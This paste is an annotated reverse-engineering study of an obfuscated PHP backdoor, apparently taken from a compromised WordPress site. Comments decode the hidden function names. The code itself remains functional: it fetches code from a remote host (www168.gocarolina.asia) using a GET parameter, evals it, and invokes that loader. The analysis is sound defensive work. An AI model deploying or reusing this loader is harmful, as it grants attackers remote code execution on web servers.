e55db081d05f58a

phpofuscated_explain_RE

May 7th, 2021 (edited)
895
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.60 KB | None | 0 0
  1. <?php
  2. /*
  3.     https://twitter.com/sS55752750/status/1390718596112867336
  4.     https://pastebin.com/3EifcsSW
  5. */
  6.  
  7. $B66CUC6UUC = "01o_4yfc8rt3gbkdevmsij9l-nqpz2h7u5wxa6";
  8.  
  9. //create_function
  10. $BUUC66U6CC = $B66CUC6UUC{7} . $B66CUC6UUC{9} . $B66CUC6UUC{16} . $B66CUC6UUC{36} . $B66CUC6UUC{10} . $B66CUC6UUC{16} . $B66CUC6UUC{3} . $B66CUC6UUC{6} . $B66CUC6UUC{32} . $B66CUC6UUC{25} . $B66CUC6UUC{7} . $B66CUC6UUC{10} . $B66CUC6UUC{20} . $B66CUC6UUC{2} . $B66CUC6UUC{25};
  11.  
  12. //base64_decode
  13. $BUC66CUC6U = $B66CUC6UUC{13} . $B66CUC6UUC{36} . $B66CUC6UUC{19} . $B66CUC6UUC{16} . $B66CUC6UUC{37} . $B66CUC6UUC{4} . $B66CUC6UUC{3} . $B66CUC6UUC{15} . $B66CUC6UUC{16} . $B66CUC6UUC{7} . $B66CUC6UUC{2} . $B66CUC6UUC{15} . $B66CUC6UUC{16};
  14.  
  15. //curl_setopt
  16. $BC6UCUU66C = $B66CUC6UUC{7} . $B66CUC6UUC{32} . $B66CUC6UUC{9} . $B66CUC6UUC{23} . $B66CUC6UUC{3} . $B66CUC6UUC{19} . $B66CUC6UUC{16} . $B66CUC6UUC{10} . $B66CUC6UUC{2} . $B66CUC6UUC{27} . $B66CUC6UUC{10};
  17.  
  18. //gzinflate
  19. $B66CU6UCCU = $B66CUC6UUC{12} . $B66CUC6UUC{28} . $B66CUC6UUC{20} . $B66CUC6UUC{25} . $B66CUC6UUC{6} . $B66CUC6UUC{23} . $B66CUC6UUC{36} . $B66CUC6UUC{10} . $B66CUC6UUC{16};
  20.  
  21. //curl_init
  22. $BU6UUC66CC = $B66CUC6UUC{7} . $B66CUC6UUC{32} . $B66CUC6UUC{9} . $B66CUC6UUC{23} . $B66CUC6UUC{3} . $B66CUC6UUC{20} . $B66CUC6UUC{25} . $B66CUC6UUC{20} . $B66CUC6UUC{10};
  23.  
  24. //curl_exec
  25. $BUUCCC66U6 = $B66CUC6UUC{7} . $B66CUC6UUC{32} . $B66CUC6UUC{9} . $B66CUC6UUC{23} . $B66CUC6UUC{3} . $B66CUC6UUC{16} . $B66CUC6UUC{35} . $B66CUC6UUC{16} . $B66CUC6UUC{7};
  26.  
  27. //strlen
  28. $B6U6CUC6CU = $B66CUC6UUC{19} . $B66CUC6UUC{10} . $B66CUC6UUC{9} . $B66CUC6UUC{23} . $B66CUC6UUC{16} . $B66CUC6UUC{25};
  29.  
  30. //trim
  31. $B6CUUCU6C6 = $B66CUC6UUC{10} . $B66CUC6UUC{9} . $B66CUC6UUC{20} . $B66CUC6UUC{18};
  32.  
  33. echo 'wp-blog-header.php'; //echooooo
  34.  
  35. header('Content-Type:text/html;charset=utf-8');
  36.  
  37. //$lambda1=create_function('$url=NULL,'$ch=curl_init($url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1");$str=curl_exec($ch);return $str;');
  38. $BU6C6CC6UU = $ {
  39.     "GLOBALS"
  40. }["BUUC66U6CC"]('$BC6C6U6UCU=NULL','$B6U6UCCC6U=${"GLOBALS"}["BU6UUC66CC"]($BC6C6U6UCU);${"GLOBALS"}["BC6UCUU66C"]($B6U6UCCC6U,CURLOPT_RETURNTRANSFER,1);$B66UCU6CCU=${"GLOBALS"}["BUUCCC66U6"]($B6U6UCCC6U);return $B66UCU6CCU;');
  41.  
  42.  
  43. //$lambda2=create_function('$string','$sstr1=substr($string,0,5);$sstr2=substr($string,-5);$sstr3=substr($string,7,strlen($string)-14);return gzinflate(base64_decode($sstr1.$sstr3.$sstr2));');
  44. $BCU6UU66CC = $ {
  45.     "GLOBALS"
  46. }
  47. ["BUUC66U6CC"]('$string', '$B6UCCCUU66=substr($string,0,5);$B6CCUUU6C6=substr($string,-5);$B6CCU6C6UU=substr($string,7,${"GLOBALS"}["B6U6CUC6CU"]($string)-14);return ${"GLOBALS"}["B66CU6UCCU"](${"GLOBALS"}["BUC66CUC6U"]($B6UCCCUU66.$B6CCU6C6UU.$B6CCUUU6C6));');
  48.  
  49.  
  50. //$lambda3=create_function('$var1=NULL','$var2=isset($_GET["txtname"])?trim($_GET["txtname"]):NULL;$var3=$lambda2("yygpKhTbDS1y8vLzc0s9BLz09OLMrPycxL1EsszkztPUBwA=");$var4=$lambda1($var3.$var2);eval($var4)');
  51.     //$var3="http://www168.gocarolina.asia/";
  52.     //$var4='';
  53. $BU6C6UC6UC = $ {
  54.     "GLOBALS"
  55. }
  56. ["BUUC66U6CC"]('$BUU66UC6CC=\'\'', '$B6UCCUC66U=isset(${"_GET"}["txtname"])?${"GLOBALS"}["B6CUUCU6C6"](${"_GET"}["txtname"]):\'\';$BC6C6U6UCU=${"GLOBALS"}["BCU6UU66CC"](\'yygpKhTbDS1y8vLzc0s9BLz09OLMrPycxL1EsszkztPUBwA=\');$BCUC6UCU66=${"GLOBALS"}["BU6C6CC6UU"]($BC6C6U6UCU.$B6UCCUC66U);eval($BCUC6UCU66);');
  57.  
  58. //$lambda3();
  59. $ {
  60.     "GLOBALS"
  61. }
  62. ["BU6C6UC6UC"]();
  63.  
  64. $lambda2=create_function('$string','$sstr1=substr($string,0,5);$sstr2=substr($string,-5);$sstr3=substr($string,7,strlen($string)-14);return gzinflate(base64_decode($sstr1.$sstr3.$sstr2));');
  65. echo $lambda2("yygpKhTbDS1y8vLzc0s9BLz09OLMrPycxL1EsszkztPUBwA=");
  66.  
  67. ?>
Add Comment
Please, Sign In to add comment